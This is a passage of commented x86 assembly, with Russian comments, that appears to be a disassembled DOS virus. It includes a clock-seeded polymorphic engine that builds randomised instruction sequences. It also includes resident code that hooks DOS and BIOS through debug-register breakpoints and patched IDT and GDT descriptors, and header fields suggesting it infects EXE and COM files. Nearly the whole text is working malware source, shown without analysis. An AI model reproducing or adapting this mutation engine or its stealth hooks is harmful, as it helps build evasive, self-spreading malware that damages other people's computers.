mov al,0f8h ;00a18
and BYTE PTR ds:d009f7,al ;00a1a
and BYTE PTR ds:d009fe,al ;00a1e
and BYTE PTR ds:d009ba,al ;00a22
ret ;00a26
;-----------------------------------------------------
add al,05 ;00a27
push es ;00a29
pop es ;00a2a
s8 endp
;<00a2b>
s9 proc near
mov ax,0007h ;00a2b
call get_key ;<00d8d> ;00a2e
sal ax,02 ;00a31
mov si,offset data100 ;00a34
add si,ax ;00a37
mov bx,WORD PTR ds:data_93 ;00a39
cmp al,14h ;00a3d
ja b00a78 ;00a3f ;Jump if > (no sign)
mov cx,WORD PTR [si] ;00a41
or ch,BYTE PTR ds:d000af ;00a43
mov WORD PTR [di],cx ;00a47
mov cx,WORD PTR [si+02] ;00a49
or ch,BYTE PTR ds:d000af ;00a4c
scasw ;00a50 ;Flags = AX - ES:[DI]
cmp al,0ch ;00a51
jb b00a5e ;00a53 ;Jump if < (no sign)
mov WORD PTR [bx-02],cx ;00a55
sub WORD PTR ds:data_93,02 ;00a58
ret ;00a5d
b00a5e:
mov al,0ffh ;00a5e
call get_key ;<00d8d> ;00a60
mov WORD PTR ds:d0009c,di ;00a63
mov WORD PTR ds:d0009e,bx ;00a67
stosb ;00a6b ;Store AL at ES:[DI]
mov WORD PTR [bx-03],cx ;00a6c
mov BYTE PTR [bx-01],al ;00a6f
sub WORD PTR ds:data_93,03 ;00a72
ret ;00a77
b00a78:
cmp WORD PTR ds:d0009c,00 ;00a78
jz b00ab6 ;00a7d ;Jump if equal (ZF=1)
mov bx,WORD PTR ds:data_94 ;00a7f
mov ax,WORD PTR [si] ;00a83
stosw ;00a85 ;Store AX at ES:[DI]
mov ax,WORD PTR [si+02] ;00a86
mov WORD PTR [bx],ax ;00a89
mov ax,WORD PTR ds:d0009c ;00a8b
add ax,WORD PTR ds:d000b2 ;00a8e
sub ax,WORD PTR ds:d000b4 ;00a92
stosw ;00a96 ;Store AX at ES:[DI]
mov ax,WORD PTR ds:d0009e ;00a97
dec ax ;00a9a
mov WORD PTR [bx+02],ax ;00a9b
mov al,0ffh ;00a9e
call get_key ;<00d8d> ;00aa0
stosb ;00aa3 ;Store AL at ES:[DI]
mov BYTE PTR [bx+04],al ;00aa4
add WORD PTR ds:data_94,05 ;00aa7
mov BYTE PTR [bx+05],0c3h ;00aac
mov WORD PTR ds:d0009c,0000h ;00ab0
b00ab6: ret ;00ab6
;-----------------------------------------------------
data100 db 80,30,80,30,80,00 ;00ab7 .0.0..
db 80,28,0c0,00,0c0,08 ;00abd .(....
db 0d0,00,0d0,08,0f6,18 ;00ac3 ......
db 0f6,18,0fe,00,0fe,08 ;00ac9 ......
db 80,06,80,06 ;00acf ....
;-----------------------------------------------------
s9 endp
;<00ad3>
s10 proc near
mov ax,0004h ;00ad3
call get_key ;<00d8d> ;00ad6
mov si,offset data_68 ; (83DC:0B26=0)
xchg al,ah
aad 3 ; undocumented inst
add si,ax
lodsb ; String [si] to al
shl ax,1 ; Shift w/zeros fill
xchg bx,ax
call word ptr data_66[bx] ;*(83DC:0AEB=0AEFh) 2 entries
data_66 dw offset sub_12 ; Data table (indexed access) (0AEF)
data_67 dw offset sub_13 ; (0AF9)
sub_12 proc near
movsw ; Mov [si] to es:[di]
or [di-1],dl
xchg bp,ax
stosw ; Store ax to es:[di]
call s12 ; (0B3E)
retn
sub_12 endp
sub_13 proc near
push si
push dx
mov ax,2
call sub_30 ; (0D8D)
shl ax,1 ; Shift w/zeros fill
add ax,0B32h
xchg si,ax
movsw ; Mov [si] to es:[di]
or [di-1],dl
shl dl,3 ; Shift w/zeros fill
or [di-1],dl
shr cx,1 ; Shift w/zeros fill
push cx
push bp
call s13 ; (0B3E)
pop bp
pop cx
pop dx
pop si
movsw ; Mov [si] to es:[di]
or [di-1],dl
xchg bp,ax
stosw ; Store ax to es:[di]
call s13 ; (0B3E)
retn
sub_13 endp
;-----------------------------------------------------
data_68 db 00,0c7,0c0,01,81,0c8 ;00b26 ......
db 01,81,0c0,01,81,0f0 ;00b2c ......
db 29,0c0 ;00b32 ).
;-----------------------------------------------------
xor ax,ax ;00b34
;<00b36>
s11 proc near
mov ax,WORD PTR ds:d000a4 ;00b36
call get_key ;<00d8d> ;00b39
xchg ax,cx ;00b3c
ret ;00b3d
s11 endp
;<00b3e>
s12 proc near
and cx,cx ;00b3e
jnz b00b43 ;00b40 ;Jump not equal(ZF=0)
ret ;00b42
b00b43: mov si,offset fun11 ;00b43
m00b46: mov ax,001fh ;00b46
call get_key ;<00d8d> ;00b49
mov dl,al ;00b4c
inc dl ;00b4e
b00b50: mov al,BYTE PTR [si] ;00b50
cmp al,4eh ;(N) ;00b52
jnz b00b5b ;00b54 ;Jump not equal(ZF=0)
mov si,offset fun11 ;00b56
jmp short b00b50 ;00b59
b00b5b: mov dh,al ;00b5b
and al,0fh ;00b5d
cbw ;00b5f ;Convrt AL into AX
and dl,dl ;00b60
jz b00b71 ;00b62 ;Jump if equal (ZF=1)
dec dl ;00b64
shr dh,04 ;00b66
add al,dh ;00b69
add si,ax ;00b6b
inc si ;00b6d
inc si ;00b6e
jmp short b00b50 ;00b6f
b00b71: push cx ;00b71
sub cx,ax ;00b72
test ch,80h ;00b74 ;Flags=Arg1 AND Arg2
pop cx ;00b77
jnz m00b46 ;00b78 ;Jump not equal(ZF=0)
mov WORD PTR ds:d00d74,cx ;00b7a
mov bl,BYTE PTR [si+01] ;00b7e
cmp BYTE PTR ds:d00d72,bl ;00b81
ja m00b46 ;00b85 ;Jump if > (no sign)
mov bh,bl ;00b87
test bl,40h ;00b89 ;Flags=Arg1 AND Arg2
jnz b00b95 ;00b8c ;Jump not equal(ZF=0)
cmp BYTE PTR ds:d00d7a,01 ;00b8e
jz m00b46 ;00b93 ;Jump if equal (ZF=1)
b00b95: push ax ;00b95
mov ax,003fh ;00b96
and bl,al ;00b99
call get_key ;<00d8d> ;00b9b
cmp bl,al ;00b9e
pop ax ;00ba0
jb m00b46 ;00ba1 ;Jump if < (no sign)
inc si ;00ba3
push si ;00ba4
push cx ;00ba5
xor bx,bx ;00ba6 ;Load register w/ 0
mov bl,dh ;00ba8
and bl,0f0h ;00baa
shr bl,04 ;00bad
inc bx ;00bb0
mov cx,ax ;00bb1
push si ;00bb3
push di ;00bb4
add si,bx ;00bb5
repz movsb ;00bb7 ;Mov DS:[SI]->ES:[DI]
pop di ;00bb9
pop si ;00bba
mov cx,bx ;00bbb
dec cx ;00bbd
jcxz b00bdb ;00bbe ;Jump if CX = ZERO
b00bc0: inc si ;00bc0
mov al,BYTE PTR [si] ;00bc1
mov dl,al ;00bc3
and al,0fh ;00bc5
cbw ;00bc7 ;Convrt AL into AX
mov bp,ax ;00bc8
mov al,dl ;00bca
and al,0f0h ;00bcc
shr al,03 ;00bce
mov bx,ax ;00bd1
add bx,0c12h ;00bd3
call WORD PTR [bx] ;00bd7
loop b00bc0 ;00bd9 ;Dec CX;Loop if CX>0
b00bdb: pop cx ;00bdb
pop si ;00bdc
mov al,dh ;00bdd
and al,0fh ;00bdf
cbw ;00be1 ;Convrt AL into AX
shr dh,04 ;00be2
sub cx,ax ;00be5
add di,ax ;00be7
add al,dh ;00be9
add si,ax ;00beb
inc si ;00bed
mov al,BYTE PTR ds:d00d72 ;00bee
and al,al ;00bf1
jz b00c06 ;00bf3 ;Jump if equal (ZF=1)
test al,80h ;00bf5 ;Flags=Arg1 AND Arg2
jnz b00c06 ;00bf7 ;Jump not equal(ZF=0)
add cx,di ;00bf9
mov di,WORD PTR ds:d0009a ;00bfb
sub cx,di ;00bff
mov BYTE PTR ds:d00d72,00 ;00c01
b00c06: and cx,cx ;00c06
jz b00c0d ;00c08 ;Jump if equal (ZF=1)
jmp m00b46 ;00c0a
b00c0d: mov WORD PTR ds:d0009a,di ;00c0d
ret ;00c11
s12 endp
;-----------------------------------------------------
dw offset fun01
dw offset fun02
dw offset s14
dw offset fun03
dw offset s15
dw offset fun04
dw offset fun05
dw offset fun06
dw offset fun01
dw offset fun07
dw offset fun08
dw offset fun09
dw offset fun10
;-----------------------------------------------------
fun01:
mov al,0ffh ;00c2c
call get_key ;<00d8d> ;00c2e
mov BYTE PTR es:[bp+di],al ;00c31
test dl,80h ;00c34 ;Flags=Arg1 AND Arg2
jz b00c42 ;00c37 ;Jump if equal (ZF=1)
mov al,0ffh ;00c39
call get_key ;<00d8d> ;00c3b
mov BYTE PTR es:[bp+di+01],al ;00c3e
b00c42: ret ;00c42
;<00c43>
s13 proc near
mov al,0f0h ;00c43
call get_key ;<00d8d> ;00c45
and al,80h ;00c48
mov ah,al ;00c4a
shr al,1 ;00c4c ;Divide by 2's
or al,ah ;00c4e
or BYTE PTR es:[bp+di],al ;00c50
ret ;00c53
s13 endp
;<00c54>
s14:
mov al,0f0h ;00c54
call get_key ;<00d8d> ;00c56
and al,07 ;00c59
cmp al,BYTE PTR ds:d00d76 ;00c5b
jz s14 ;<00c54> ;00c5f ;Jump if equal (ZF=1)
cmp al,BYTE PTR ds:d00d78 ;00c61
jz s14 ;<00c54> ;00c65 ;Jump if equal (ZF=1)
push ax ;00c67
and al,03 ;00c68
cmp al,BYTE PTR ds:d00d77 ;00c6a
pop ax ;00c6e
jz s14 ;<00c54> ;00c6f ;Jump if equal (ZF=1)
or BYTE PTR es:[bp+di],al ;00c71
mov BYTE PTR ds:d000b6,al ;00c74
ret ;00c77
;-----------------------------------------------------
fun04:
mov al,06 ;00c78
call get_key ;<00d8d> ;00c7a
add BYTE PTR es:[bp+di],al ;00c7d
ret ;00c80
;<00c81>
s15:
mov al,80h ;00c81
call get_key ;<00d8d> ;00c83
and al,07 ;00c86
cmp al,06 ;00c88
jz s15 ;<00c81> ;00c8a ;Jump if equal (ZF=1)
or BYTE PTR es:[bp+di],al ;00c8c
ret ;00c8f
;-----------------------------------------------------
fun03:
call s13 ;<00c43> ;00c90
call s15 ;<00c81> ;00c93
ret ;00c96
;-----------------------------------------------------
fun05:
call s14 ;<00c54> ;00c97
sal BYTE PTR es:[bp+di],03 ;00c9a
call s15 ;<00c81> ;00c9e
call s13 ;<00c43> ;00ca1
ret ;00ca4
;-----------------------------------------------------
fun02:
mov al,0fh ;00ca5
call get_key ;<00d8d> ;00ca7
sal al,03 ;00caa
or BYTE PTR es:[bp+di],al ;00cad
call s14 ;<00c54> ;00cb0
ret ;00cb3
;-----------------------------------------------------
fun06:
mov al,10h ;00cb4
call get_key ;<00d8d> ;00cb6
or BYTE PTR es:[bp+di-01],al ;00cb9
mov ax,WORD PTR ds:d00d74 ;00cbd
dec ax ;00cc0
dec ax ;00cc1
call get_key ;<00d8d> ;00cc2
and ax,003fh ;00cc5
mov BYTE PTR es:[bp+di],al ;00cc8
cbw ;00ccb ;Convrt AL into AX
pusha ;00ccc
mov cx,ax ;00ccd
or al,80h ;00ccf
mov BYTE PTR ds:d00d72,al ;00cd1
add di,bp ;00cd4
inc di ;00cd6
call s12 ;<00b3e> ;00cd7
and BYTE PTR ds:d00d72,7fh ;00cda
popa ;00cdf
ret ;00ce0
;-----------------------------------------------------
fun07:
mov bl,BYTE PTR es:[bp+di] ;00ce1
mov BYTE PTR es:[bp+di],00 ;00ce4
call s14 ;<00c54> ;00ce8
sal BYTE PTR es:[bp+di],03 ;00ceb
or BYTE PTR es:[bp+di],bl ;00cef
ret ;00cf2
;-----------------------------------------------------
fun09:
mov al,BYTE PTR ds:d000b6 ;00cf3
or BYTE PTR es:[bp+di],al ;00cf6
ret ;00cf9
;-----------------------------------------------------
fun08:
mov ax,di ;00cfa
sub ax,WORD PTR ds:d000b4 ;00cfc
add ax,WORD PTR ds:d000b2 ;00d00
add WORD PTR es:[bp+di],ax ;00d04
ret ;00d07
;-----------------------------------------------------
fun10:
mov al,BYTE PTR ds:d000b6 ;00d08
sal al,03 ;00d0b
or BYTE PTR es:[bp+di],al ;00d0e
ret ;00d11
;-----------------------------------------------------
fun11:
and di,di ;00d12
xor WORD PTR [bp+si],ax ;00d14
test BYTE PTR [bx+si],00 ;00d16 ;Flags=Arg1 AND Arg2
adc di,di ;00d19
push ax ;00d1b
clc ;00d1c
adc bh,BYTE PTR [bx+71h] ;00d1d
jo b00d22 ;00d20 ;Jump on Overflow
b00d22: and al,0ffh ;00d22
adc WORD PTR [bp+si+0c081h],ax ;00d24
add BYTE PTR [bx+si],al ;00d28
adc di,di ;00d2a
and BYTE PTR [bx+si+11h],cl ;00d2c
jmp WORD PTR [bx+si] ;00d2f
nop ;00d31
adc bh,bh ;00d32
adc cx,dx ;00d34
rcl BYTE PTR [bx+di],0ffh ;00d36
and BYTE PTR [bx+si+0ff12h],dl ;00d39
and di,si ;00d3d
fcom DWORD PTR [bp+si] ;00d3f
jmp WORD PTR [bx+di+38h] ;00d41
add BYTE PTR [bp+di],ah ;00d44
jmp WORD PTR [bx+si] ;00d46
cmp WORD PTR [bx+si+0000],0ff11h ;00d48
and BYTE PTR [bx+si+12h],al ;00d4e
inc WORD PTR [bx+di] ;00d51
in al,00 ;00d53 ;000-007:DMA controller 1
and al,0ffh ;00d55
xchg ax,cx ;00d57
or BYTE PTR [bp+si+0006],00 ;00d58
xor ax,41ffh ;00d5d
add BYTE PTR [si],80h ;00d60
mov ax,0000h ;00d63
add BYTE PTR [bp+si],dl ;00d66
jmp WORD PTR [bx+di] ;00d68
;-----------------------------------------------------
db 0f7,0d0,12,0ff,61,0a ;00d6a ....a.
db 00,4e ;00d70 .N
d00d72 db 00,00 ;00d72 ..
d00d74 db 00,00 ;00d74 ..
d00d76 db 04 ;00d76 .
d00d77 db 81 ;00d77 .
d00d78 db 86,80 ;00d78 ..
d00d7a db 00 ;00d7a .
;-----------------------------------------------------
;<00d7b>
GetTime proc near
pusha ;схоронить
mov ah,2ch ;взять время
call DOSInt ;int21
mov WORD PTR cs:HHMM,cx ;часы,минуты
mov WORD PTR cs:SSMS,dx ;секунды,доли сек
popa ;вернуть
ret ;отвалить
GetTime endp
;<00d8d>
get_key proc near
pusha
call alter_time
mov bx,sp ;bx на стек
mov cx,dx ;00d93
mul WORD PTR ss:[bx+0eh] ;00d95
mov ax,cx ;00d99
mov cx,dx ;00d9b
mul WORD PTR ss:[bx+0eh] ;00d9d
add ax,cx ;00da1
adc dx,00 ;00da3
mov WORD PTR ss:[bx+0eh],dx ;00da6
popa
ret
get_key endp
;<00dac>
alter_time proc near
mov ax,WORD PTR cs:HHMM ;00dac
mov bx,WORD PTR cs:SSMS ;00db0
mov cx,ax ;00db5
mul WORD PTR cs:data_90 ;00db7
sal cx,03 ;00dbc
add ch,cl ;00dbf
add dx,cx ;00dc1
add dx,bx ;00dc3
sal bx,02 ;00dc5
add dx,bx ;00dc8
add dh,bl ;00dca
sal bx,05 ;00dcc
add dh,bl ;00dcf
add ax,0001h ;00dd1
adc dx,00 ;00dd4
mov WORD PTR cs:HHMM,ax ;00dd7
mov WORD PTR cs:SSMS,dx ;00ddb
ret
alter_time endp
;-----------------------------------------------------
data_90 dw 8405h ; de1 xref 83DC:0DB7
HHMM dw 0 ; de3 xref 83DC:089A, 08AD, 0D81, 0DAC,0DD7
SSMS dw 0 ; de5 xref 83DC:089E, 08A9, 0D86, 0DB0,0DDB
data_93 dw 84h ; de7 xref 83DC:09F2, 09F9, 0A0C, 0A39,0A58, 0A72
data_94 dw 84h ; de9 xref 83DC:0A12, 0A7F, 0AA7
;------------------------------------------------------
is_time:
call set_ds
mov ax,ss
mov es,ax
mov si,WORD PTR cs:AdrPages ;в нашей страничке
mov BYTE PTR [esi+busy],00 ;заняты
mov esp,DWORD PTR cs:d00044 ;из стека параметр
mov edi,esp ;грузим
mov ecx,00000011h ;1-ые 44 байта кода
cld ;Forward String Opers
repz movsd ;эмулим pushad?
push ds ;es
pop es ;на место
xor ebp,ebp ;1-ый дескриптор
mov esi,00000090h ;
load_desc:
;берем старый
mov edx,DWORD PTR cs:[AdrPages+10h+ebp*4]
call desc_edx
inc esi ;далее
inc bp ;сл.дескриптор
cmp bp,03 ;3 дескриптора
jnz load_desc ;нет-продолжим
end_21:
xor ax,ax ;Load register w/ 0
mov ds,ax
mov es,ax
popad
iretd ;POP flags and Return
;<00e3e>
desc_edx proc near
;установить дескриптор в edx
mov edi,DWORD PTR cs:ram_page ;в ОЗУ
mov ebx,DWORD PTR [edi+esi*4] ;вытаскиваем
mov dl,67h ;в памяти
mov DWORD PTR [edi+esi*4],edx ;кладем
mov ax,cr3
mov cr3,ax
ret
desc_edx endp
;<00e57>
GetUMB proc near
movzx ebx,WORD PTR ds:TSR_CS ;16cs -> 32cs
sal ebx,04 ;выравниваем
add ebx,00000f4fh ;за себя
mov DWORD PTR ds:CS_32,ebx ;куда-то за код
add ebx,06 ;00e6d
add DWORD PTR ds:Seg_32,ebx ;00e71
mov cx,WORD PTR ds:Buf_GDT ;берем таблицу
mov es,cx ;сохраняем
shr cx,08 ;номер страницы
mov ax,0de06h ;получить физ.адрес страницы
call EMMInt ;в первом метре
mov DWORD PTR ds:UMB1,edx
mov ax,0de06h ;еще одну
mov cx,es ;другой
shr cx,08 ;номер
inc cx
call EMMInt ;int67
or dl,07 ;чуть сдвинем
mov DWORD PTR es:UMB2,edx ;и запомним в UMB1
ret
GetUMB endp
;<00ea0>
EMMInt proc near
int 67h ;00ea0 ;функция EMM:
and ah,ah ;ошибки
jz EMMOk ;есть?
pop ax ;00ea6
jmp NotEMM ;00ea7
EMMOk: ret ;00eaa
EMMInt endp
;<00eab>
SetDesc proc near
;устанавливает дескриптор таблицы
;ds:esi-адрес таблицы
;ax - смещение дескриптора
;ebx - 20 разрядный предел
;ecx - 32 разрядная база
;dl - 0(доступ),1-3(код или данные),4(системный сег-т)
; 5-6(DPL),7(присутсвие в ОЗУ)
;dh - 6(разрядность),7(в чем предел)
movzx eax,ax ;16ax->32ax
;устанавливаем мл.слово дескриптора(предел,база)
mov WORD PTR [esi+eax],bx ;предел 0-15
shr ebx,10h ;получаем ст.байт размера
mov WORD PTR [esi+eax+02],cx ;база 0-15
shr ecx,10h ;ст.байт базы
mov BYTE PTR [esi+eax+04],cl ;база 16-23
mov BYTE PTR [esi+eax+05],dl ;A,тип,S,DPL,P
and bl,0fh ;только мл.тэтрада
or dh,bl ;AVL,G+предел 16-19
mov BYTE PTR [esi+eax+06],dh ;запомнили
mov BYTE PTR [esi+eax+07],ch ;база 24-31
ret
SetDesc endp
;<00eda>
set_brk proc near
mov eax,DWORD PTR cs:int21adr ;останов на DOS
mov dr0,ax
mov eax,000fe05bh ;останов на BIOS
mov dr1,ax
xor eax,eax ;00eeb ;никаких
mov dr6,ax ;условий
mov eax,0000020ah ;разрешить
mov dr7,ax ;останов
ret
set_brk endp
;<00efb>
set_ds proc near
mov ax,cs ;00efb
add ax,0008h ;00efd
mov ds,ax ;00f00
ret ;00f02
set_ds endp
;<00f03>
set_idt proc near
;переделываем старый IDT
mov esi,DWORD PTR es:OldIDT+2 ;база
mov bx,WORD PTR [esi+ecx*8+06] ;база ecx дескриптора
sal ebx,10h ;базу в ст.слово
mov bx,WORD PTR [esi+ecx*8] ;мл.слово базы
mov DWORD PTR es:[di],ebx ;полученное в ячею
mov bx,WORD PTR [esi+ecx*8+02] ;предел
mov WORD PTR es:[di+04],bx ;полученное в ячею
mov bx,WORD PTR es:OurDesc ;берем номер дескр.
mov WORD PTR [esi+ecx*8+02],bx ;устанавливаем предел
mov WORD PTR [esi+ecx*8],ax ;устанавливаем
mov WORD PTR [esi+ecx*8+06],0 ;базу
ret
;-----------------------------------------------------
UMB1 dd 00 ;00f39 ....
CS_32 dd 00 ;00f3d ....
Seg_32 db 6d dup (00h) ;00f41 (.)
db 28,00,1bh,04,00,00 ;00f47 (.....
db 08,00,47,00 ;00f4d ..G.
d00f51 db 00,00,00,00,0ff,0ff ;00f51 ......
db 00,00,00,00 ;00f57 ....
exe_or_com db 00 ;00f5b .
cs_save dw 00 ;00f5c ..
BufPages dd 00 ;00f5e
db 30,00 ;00f62 0.
len_par dw 00 ;00f64 ..
set_idt endp
UMB2 equ 000000h
d00003 equ 000003h
d0000a equ 00000ah
d0002c equ 00002ch
d00044 equ 000044h
d00084 equ 000084h
d00086 equ 000086h
d00094 equ 000094h
time_file equ 000096h
date_file equ 000098h
d0009a equ 00009ah
d0009c equ 00009ch
d0009e equ 00009eh
d000a0 equ 0000a0h
d000a2 equ 0000a2h
d000a4 equ 0000a4h
d000aa equ 0000aah
d000ac equ 0000ach
d000ae equ 0000aeh
d000af equ 0000afh
d000b2 equ 0000b2h
d000b4 equ 0000b4h
d000b6 equ 0000b6h
int20 equ 0000b7h
int1_ptr equ $ ;000f66h
int9_ptr equ int1_ptr+6 ;000f6ch
int21adr equ int9_ptr+6 ;000f72h
TSR_CS equ int21adr+4 ;000f76h
OurDesc equ TSR_CS+2 ;000f78h
AdrPages equ OurDesc+2 ;000f7ah
Buf_GDT equ AdrPages+4*7 ;000f96h
busy equ BufGDT+2 ;000f98h
ram_page equ busy+1 ;000f99h
OldGDT equ ram_page+4 ;000f9dh
OldIDT equ OldGDT+6 ;000fa3h
d00fa5 equ OldIDT+2 ;000fa5h
d0109d equ 00109dh
d0109f equ 00109fh
buf_file equ 002000h
PageCnt equ buf_file+4 ;002004h
ReloCnt equ buf_file+6 ;002006h
HdrSize equ buf_file+8 ;002008h
MaxMem equ buf_file+0ch ;00200ch
TablOff equ buf_file+18h ;002018h
cseg ends
end o00100
|